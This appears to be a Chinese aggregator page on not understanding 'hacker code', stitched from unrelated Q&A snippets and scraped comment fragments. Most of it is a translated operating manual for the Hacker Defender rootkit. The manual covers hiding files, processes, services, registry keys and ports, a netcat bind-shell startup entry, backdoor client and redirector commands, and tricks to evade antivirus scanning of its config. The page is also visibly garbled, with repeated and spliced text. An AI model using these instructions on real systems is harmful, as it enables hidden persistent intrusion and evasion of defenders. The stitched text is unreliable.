黑客代码看不懂咋办(初学者黑客代码)

hacker|
64

电视剧中黑客猛敲键盘,屏幕满是看不懂的代码,这是真的还是影视效果?

首先需要确定的一点,就是,这是真实情况,并不是电影特效!

其实,关于黑客题材的电影,这几年非常的多,黑客们在展现高超程序员技能的同时,也向我们展示了黑客们不同于普通人的日常!

在黑客题材的电影中,首先黑客们是不用鼠标的,直接用键盘操作电脑,其实在现实中,有很多程序员就是不用鼠标的!

再者,就是黑客们飞快地敲打键盘,一层层破解要侵入对手的电脑防火墙,并且因为做这个事情的时候,往往是在特殊的情况下,时间紧张,环境危险,所以黑客们都是快速的敲击电脑,用最快的速度入侵别人的系统,完事之后消除入侵的痕迹,急匆匆离开!

电影中的黑客可谓是无所不能,连联邦调查局、中情局都能侵入,公安系统更不用说,就像家常便饭一样简单。还有在影视作品中黑客总是能够在一两次之内顺利的猜中密码,进入保密计算机,他们能在2秒内启动计算机,3秒内将所需要的保密文件传输到指定地方。

从《黑客帝国》系列电影开始,众多黑客形象被神化,更有甚者能直接触摸服务器,用手指拨弄大数据信息。应该没有人会天真地认为那是真实存在的吧,黑客也是人类,他们用ssh/powershell远程连接服务器,是指令型可执行程序,再牛逼的黑客也要坐在电脑前使用键盘。所以我们在电影中看到黑客那些炫酷的技能都要归功于特效场面。

其实早期的电脑界面就是黑黑的亮着一行行的命令,因为国外的电脑发展比中国要早。国人电脑普及的时候,windows系统早就充斥着各种盗版了吧,使用linux和dos系统那种感觉在国人印象中还真的不多见。

黑客会在事先根据入侵目标的信息,准备好各种应付不同情况的入侵工具,不会事到临头了再编写程序。

即使是用命令行模式,那也是在根据返回的信息,输入指令,指令也不会太长,更何况还有批处理,不会出现噼里啪啦打上很长一段的情况。

关于指令,要说明一下。系统自带的指令,DOS时代称为内部指令。而各种批处理文件、程序、游戏的主程序的名字,则叫外部指令。所以,运行程序,一样也可以叫输入指令,只不过是输入外部指令。黑客技术,不体现在手速上。

黑客技术本身很难很复杂

这个世界上的确存在很多很厉害的黑客。包括曾经的传说级人物凯文·米特尼克这类的人物,但是你会发现这些黑客都是存在于上个世纪那个时候电脑或者网络刚新起的阶段。

现在恨少在出现这样厉害的人物,不是现在计算机高手不在高,而是那个年代的计算机软件系统和安防系统本身就很脆弱,还有就是有些黑客完全是人物的以讹传讹的故意将其能力放大,因为不将这些人物的传奇事情说得很厉害的话,那些暗访设备和各种安全应用软件如何才能卖得出去。

这个世界上的确存在很多很厉害的黑客。包括曾经的传说级人物凯文·米特尼克这类的人物,但是你会发现这些黑客都是存在于上个世纪那个时候电脑或者网络刚新起的阶段,现在恨少在出现这样厉害的人物。

不是现在计算机高手不在高,而是那个年代的计算机软件系统和安防系统本身就很脆弱,还有就是有些黑客完全是人物的以讹传讹的故意将其能力放大,因为不将这些人物的传奇事情说得很厉害的话,那些暗访设备和各种安全应用软件如何才能卖得出去。

看不懂代码怎么办

学习吧。这个没有什么特殊的办法。。。

学习基本的编程语言知识。很多编程语言了。其实学习起来也不是很麻烦的。能看懂就行。

为什么我看不懂代码

上面的这段代码主要用于文件操作(文件目录),指针、结构、条件编译等都包含其中。既然你已经学过了C/C++的基础,应该不难看懂。你之所以看不明白,我想主因应该是你对#ifdef这些语句的作用不甚明了,建议你静下心来,把代码认真地多看几遍,相信你会慢慢地看懂它。 另外,学编程需要心如止水,一个浮躁的人是很难写出优秀的代码的,浮躁只会让你失去对代码的感知能力。还需要有超强的毅力,因为编程本身就是一项枯燥繁琐的工作。 认真地多看几遍代码,直至你看懂为止,这就是一种方法。 个人看法,希望能对你有所帮助。

hacker defend书籍里大多数的代码是什么语言的啊?我看不懂怎么办?要学什么才能看懂呢?

Hacker defender 使用

=====[1,目录]==============================================

1.

目录

2. 概要

2.1 关于

2.2 申明

3. 使用说明

4. Ini文件说明

5.

Backdoor

5.1 Redirector

6. 技术支持

6.1 版本

6.2

钩子API函数

6.3 已知的 bugs

7. Faq

8. 文件

=====[ 2.

关于]================================================

Hacker defender

(hxdef)是一个使用于Windows NT 4.0, Windows 2000 以及Windows

XP操作系统的一个NTROOKIT,它也能运行于之后的基于NT的操作系统。主要代码是由DELPHI

6完成。新的功能使用汇编书写。驱动代码由C完成。后门和redirector客服端大部分使用 Delphi 6完成。

=====[ 2.1 概要

]=============================================

程序的主要功能是在所有运行中的进程中重写分割内存,重写一些基本的模块改变进程的状态,它几乎能够改写所有不影响系统稳定和正在运行中的进程。

程序能够完全隐藏,现在能够做的有隐藏文件、进程、系统服务、系统驱动、注册表的键值和键、开放端口以及虚构可用磁盘空间。程序同时也在内存中伪装它所做的改动,并且隐蔽地控制被隐藏进程。程序安装后能构造后门、注册表、系统服务,构造系统驱动。其本身的后门技术允许其植入

redirector。

=====[ 2.2

申明]====================================================

本项目1.0.0版本是开发源代码。

使用Hacker

defender所造成的后果作者本人概不负责。

=====[ 3. 用法

]==================================================

一个使用hxdef的简单例子:

hxdef100.exe [inifile]

或者

hxdef100.exe [switch]

直接执行EXE文件,不带任何的参数时候,默认的inifile文件为程序名.ini

当你执行hedef100不指定ini文件,或者你以参数模式运行时候,默认的文件是

hxdef100.ini。

下面的参数是有效的:

-:installonly - 只安装服务,不运行

-:refresh - 从INI文件中更新设置

-:noservice - 正常运行不安装服务

-:uninstall -

移除hxdef删除所有运行的后门连接,同时停止hxdef服务

例如:

hxdef100.exe

-:refresh

Hxdef拥有默认INI文件,但是我们强烈的推荐你建立自己的ini文件。关于ini文件的介绍可以看第4部分ini文件部分。

参数

-:refresh and -:uninstall

来源于本来的EXE文件。这就意味这你只要知道hxdef的运行路径和EXE名,就能够改变它的设置或者进行移除工作。

=====[ 4. Ini文件

]============================================

ini文件必须包含了9个部分: [Hidden Table],

[Root Processes], [Hidden Services], [Hidden RegKeys], [Hidden RegValues],

[Startup Run], [Free Space], [Hidden Ports]和[Settings]。

在 [Hidden Table],

[Root Processes], [Hidden Services]和[Hidden RegValues]

中能够使用*代替后面的字符,星号仅仅使用于字符的后面,任何在*之前的都是无效的。所有的在字符之前和之后的空格也是无效的。

例如:

[Hidden

Table]

hxdef*

将开始隐藏所有在Hidden

Table中以"hxdef"开头的文件、文件夹和系统进程。

在该文件列表中的所有文件和文件夹都将在文件管理器中消失。在这个列表中的程序也会在任务管理器中被隐藏。必须确保主要文件,INI文件,你的后门文件和驱动文件被包含在列表中。

在程序列表中的主进程对感染具有免淤能力,你只能利用这些主程序才能看见隐藏的文件,文件夹和程序。所以,主进程是为rootkit管理员所使用的。

由服务和驱动所组成的Hidden

Services列表将会隐藏在数据库中的安装服务和驱动。rootkit主程序的服务名默认为HackerDefender100,rootkit驱动的驱动名默认为HackerDefenderDrv100。它们两者都可以通过ini文件进行修改。

Hidden

RegKeys中列出的注册表键值将会被隐藏,Rootkit在注册表中有四个键值:默认的是HackerDefender100,

LEGACY_HACKERDEFENDER100, HackerDefenderDrv100, LEGACY_HACKERDEFENDERDRV100

如果你要重新命名服务名或者驱动名,你需要在列表中做相应的改变。

开始2个键值是和你的服务据用相同名字的,接下来的键值是LEGACY_名字。例如,如果你改变你的服务名称为BoomThisIsMySvc

,那么在注册表中,应该是这样表示的,LEGACY_BOOMTHISISMYSVC。

在Hidden

RegValues列出的注册表的值将会被隐藏。

Startup

Run列表中列出的是rootkit程序运行之后的自启动程序。这些程序和ROOTKIT具有一样的特权。程序名和它后面的参数以?分开。不要使用"字符,程序将会在用户登陆以后终止,在用户登陆以后可以使用一般和常见的方法。你可以使用下面这些快捷方式。

%cmd%标准系统的shell和路径

%cmddir%标准系统的shell文件夹

%sysdir%

- 系统文件夹

(e.g. C:\winnt\system32\)

%windir% -

标准系统文件夹

(e.g. C:\winnt\)

%tmpdir% - 临时文件夹

(e.g. C:\winnt\temp\)

例如:1)

[Startup Run]

c:\sys\nc.exe?-L -p

100 -t -e cmd.exe

nc-shell将会在rootkit运行以后监听100端口

2)

[Startup

Run]

%cmd%?/c echo Rootkit started at %TIME%

%tmpdir%starttime.txt

将rootkit启动时间保存在系统临时文件夹夹starttime。Txt文件。

(%TIME%仅仅运行于Windows2000以上的操作系统。)

Free

Space中列出的驱动硬盘名和容量大小是你想增加的硬盘,它的格式是X:NUM,其中X表示磁盘驱动器的名称,NUM表示你要增加的磁盘的容量。

例如:

[Free

Space]

C:123456789

这将在C盘增加大约123M的磁盘空间。

Hidden

Ports中列出的是你需要隐藏程序的端口,比如使用OpPorts, FPort, Active Ports, Tcp

View等的程序,它最多拥有2行。第1行的格式是TCP:tppport1,tcpport2,tcpport3

,第2行的格式是UDP:udpport1,udpport2,udpport3 ...例如:

1)

[Hidden

Ports]

TCP:8080,456

这将隐藏2个TCP端口:8080和456

2)

[Hidden

Ports]

TCP:8001

UDP:12345

这将隐藏2个端口:TCP的8001和UDP的12345。

3)

[Hidden

Ports]

TCP:

UDP:53,54,55,56,800

隐藏5个端口,都为UDP端口:53,54,55,56,800。

Settings包含了8个值:Password,

BackdoorShell, FileMappingName, ServiceName,ServiceDisplayName,

ServiceDescription, DriverName 和

DriverFileName。

名。

16位字符的Password被用于后门链接和转向,密码能根据短一些,余下的用空格代替。

BackdoorShell是复制于系统的SHELL文件,它被后门创建于一个临时的目录下。

FileMappingName,当钩子进程被存储时,用于共享内存。

ServiceName是rootkit服务

ServiceDisplayName为rootkit显示的服务

ServiceDescription位rootkit的服务描述

DriverName以hxdef驱动命名

DriverFileName以hxdef驱动文件命名

例如;

[Settings]

Password=hxdef-rulez

BackdoorShell=hxdef?.exe

FileMappingName=_.-=[Hacker

Defender]=-._

ServiceName=HackerDefender100

ServiceDisplayName=HXD Service

100

ServiceDescription=powerful NT

rootkit

DriverName=HackerDefenderDrv100

DriverFileName=hxdefdrv.sys

这就意味着你的后门密码为hxdef-rulez,后门将复制系统shell文件(通常是CMD.EXE)为hxdef?.exe到临时目录。共享内存将变为"_.-=[Hacker

Defender]=-._",服务名为"HackerDefender100",它显示的名称为"HXD Service 100",它的描述为"poweful NT

rootkit",驱动名为"HackerDefenderDrv100",驱动将被存储于一个叫做"hxdefdrv.sys"的文件中。

扩展字符|,

, , :, \, / 和 "在所有的行中都会被忽略,除了[Startup Run], [Free Space] 和 [Hidden

Ports] 项目和在 [Settings] 中first =

character后面的值。使用扩展字符能然你的INIFILE文件摆脱杀毒软件的查杀。

例如:

Example:

[Hidden

Ta/"ble]

h"xdef"*

和下面的是一样的。

[Hidden

Table]

hxdef*

更多的例如可以参照hxdef100.ini

和hxdef100.2.ini文件。

所有的在ini文件中的字符串除了那些在Settings 和 Startup

Run中的,都是无效的。

=====[ 5. Backdoor

]=========================================

Rootkit程序

Hook了一些API的功能,连接接收一些来自网络的数据包。如果接收的数据等于256个字节,密码和服务被确认,复制的SHELL被临时创建,这种情况建立以后,下一次的数据接收被重定向到这个SHELL上。

因为rootkit程序

Hook了系统中所有进程,所有在服务器上的TCP端口都将变为后门。例如,如果目标主机开放了提供HTTP服务的80端口,这个端口也能作为一个有效的后门。例外的是这个开放端口的进程不会被Hook,这个后门仅仅工作于服务器的接收缓冲大于或者等于256个字节。但是这个特征几乎适合于所有标准的服务,像IIS,APACHE,ORACLE等。后门能够隐藏是因为所有的数据都通过系统上面提供的服务转发。所以你不能使用一些简单的端口扫描软件找到它,并且它能轻易的穿过防火墙。

在测试发现IIS服务过程中,HTTP服务不能记录任何的连接日记,FTP和SMTP服务器仅仅能记录结束的断开连接。所以,如果你运行hxdef在有IIS

Web服务的服务器上面,HTTP端口跟你是连接机器使用的后门的最好端口。

如果你想连接后门的话,你将不得不使用使用一些特别的客户端,程序bdcli100.exe就是被用于如此的。

用法:bdcli100.exe

host port password

例如:

bdcli100.exe 80

hxdef-rulez

连接服务器使用默认的密码。客户端1.0.0版本不兼容其他老的版本。

=====[

5.1 Redirector

]==========================================

Redirector是基于后门技术。第一个连接包和后门连接一样。这就意味着你能使用相同的端口。下一个包是仅仅为Redirector特殊的包,这些包由基于运行用户电脑的重定向器生成.第一个重定向的包连接特定的目标主机和端口。

Redirectors的设置保存在与EXE文件同名的INI文件中(所以默认的是rdrbs100.ini)。如果这个文件不存在,那么在EXE文件运行的时候它会自动建立一个。最好不要额外的修改INI文件。所有的设置都可以在console中进行改变。

当ROOTKIT被安装时,如果我们需要使用服务器上面的redirectors功能,我们首先要在本地运行程序。在控制台上我们可以在有HXDEF的服务器上面建立一个映射端口路由。最后我们连接本地端口并且转换数据。转向的数据被rootkit的密码加密。在这个版本中连接的速度被限制在256K左右。在这个版本中redirectors并不适合于高速连接。Redirectors也会受到安装有rootkit的服务器的限制,而且Redirectors仅仅使用TCP协议连接。在这个版本中Redirectors

base有19条命令,他们并不是非常的敏感。关于功能的详细描述可以使用HELP命令。在Redirectors

base启动时,startup-list中的命令也被执行。startup-list中的命令可以用使用SU启动的CMD进行编辑。

Redirector区分于2种连接类型(HTTP和其他)。如果连接是其他类型的,数据包将不会被改变。如果是HTTP类型,在HTTP文件头的HOST参数将会改变为目标服务器。一个base的最大Redirector数量是1000。

Redirector仅仅适用于NT结构,只有在拥有图标的NT程序下你才能使用HIDE命令隐藏控制台。只有在NT下才能无声无息的运行,没有数据输出,没有图标,仅仅执行startup-list中的命令。例子:1)得到端口映射信息

MPINFO

No mapped ports in the

list.

2)增加MPINFO命令到startup-list并且得到startup-list中的命令。

SUADD

MPINFO

sulist

0) MPINFO

3)使用HELP命令。

HELP

Type HELP COMMAND for command details.

Valid commands

are:

HELP, EXIT, CLS, SAVE, LIST, OPEN, CLOSE, HIDE, MPINFO, ADD,

DEL,

DETAIL, SULIST, SUADD, SUDEL, SILENT, EDIT, SUEDIT,

TEST

HELP ADD

Create mapped port. You have to specify domain

when using HTTP

type.

usage: ADD LOCAL PORT MAPPING

SERVER MAPPING SERVER PORT

TARGET

SERVER

TARGET SERVER PORT PASSWORD [TYPE] [DOMAIN]

HELP

EXIT

Kill this application. Use DIS flag to discard unsaved data.

usage: EXIT

[DIS]

4)增加端口映射,我们在本地100端口进行监听,ROOTKIT安装在服务器200.100.2.36的80端口上,目标服务器是端口。,rootkit的密码是bIgpWd,连接类型HTTP,目标主机()我们知道它的IP地址是216.239.53.100。

ADD 100

200.100.2.36 80 216.239.53.100 80 bIgpWd HTTP

ADD命令可以不加任何参数的运行,在这个例子中我们要求每一个参数都要分开。

5)现在我们再使用MPINFO检查一下映射端口

MPINFO

There are 1 mapped ports in the list. Currently 0 of them

open.

6)列举端口映射表:

LIST

000)

:100:200.100.2.36:80:216.239.53.100:80:bIgpWd:HTTP

7)一个端口映射的详细描述:

DETAIL

Listening on port: 100

Mapping server address:

200.100.2.36

Mapping server port: 80

Target server address:

216.239.53.100

Target server port: 80

Password: bIgpWd

Port

type: HTTP

Domain name for HTTP Host:

Current state:

CLOSED

8)在没有密码的情况下,我们能在端口映射服务器200.100.2.36上测试rootkit是否已经安装(但是如果我们能确认它这样做就不再需要)

TEST 0

Testing 0) 200.100.2.36:80:bIgpWd –

OK

如果测试失败则显示:

Testing 0) 200.100.2.36:80:bIgpWd -

FAILED

9)在我们没使用之前端口仍然是没有开放的。我们不得不使用OPEN命令打开它,当端口开放时,我们也能使用CHOSE命令关闭端口。我们能使用标志符ALL应用这些命令在列表中的所有端口,这个过程可能需要一段的时间。

OPEN 0

Port number 0 opened.

CLOSE 0

Port number 0

closed.

或者 OPEN ALL

Port number 0

opened.

10)要保存当前的设置和列表我们可以使用SAVE命令,将保存所有的设置到ini文件中。(保存也会通过命令EXIT执行,而不需要DIS标志)

SAVE Saved

successfully.

开的端口能够转换我们需要的所有数据。限制你能打开你喜欢的浏览器输入网址,如果没有什么问题的话,你会看见打开的是的主页。

第一个数据包跟你会延迟5秒钟左右,但是其他的限制仅仅取决于服务器的速度,根据这个版本的转向技术,你联网的速度大约在256K左右。

=====[

6.

技术发行]========================================

这部分包含了一些对于普通用户无关紧要的信息。这部分可能适合所有的测试者和开发人员阅读

我很想学编程,但看不懂编程代码怎么办?

因为你根本就不知道这个代码是什么意思,

如:

int A = 15;

int B = 154;

double SA = 1544514;

Console.WriteLine("A是{0},B是{1},SA{2}",A,B,SA);

Console.ReadKey();

这段代码,学 过的都知道,int整数型(也可以叫数值型)double(64位浮点),我现在正在学习C#,英文一塌糊涂,但是我还是很坚持啊,看不懂:1.你没有打好基础,或者根本就没有看教程,2.放下心来,有时候看不懂代码是心理的烦躁 3.如果是小白,没有接触过编程,建议先学习 “”易语言“”我就是易语言出来的,把易语言学精通了,你就可以学英文了,这样,你有了基础,学习就不会太难。 总之一句话,慢慢来,莫着急,学编程,耐心大。无耐心,学不会。有耐心,啥都会!额,瞎编的

4条大神的评论

  • avatar
    访客 2022-09-21 下午 12:23:28

    后门技术允许其植入 redirector。=====[ 2.2 申明]====================================================本项目1.0.0版本是开发源代码。使用Hacker defender所造成的后果作者本人概不负责。=====[ 3. 用法

  • avatar
    访客 2022-09-21 下午 04:07:32

    是rdrbs100.ini)。如果这个文件不存在,那么在EXE文件运行的时候它会自动建立一个。最好不要额外的修改INI文件。所有的设置都可以在console中进行改变。当ROOTKIT被安装时,如果我们需要使用服务器上面的red

  • avatar
    访客 2022-09-21 下午 07:03:12

    够转换我们需要的所有数据。限制你能打开你喜欢的浏览器输入网址,如果没有什么问题的话,你会看见打开的是的主页。第一个数据包跟你会延迟5秒钟左右,但是其他的限制仅仅取决于服务器的速度,根据这个版本的转向技术,你联网的速度大约在256K左右。=====[ 6. 技术发行]=============

  • avatar
    访客 2022-09-21 下午 10:02:37

    ==================一个使用hxdef的简单例子: hxdef100.exe [inifile]或者hxdef100.exe [switch]直接执行EXE文件,不带任何的参数时候,

发表评论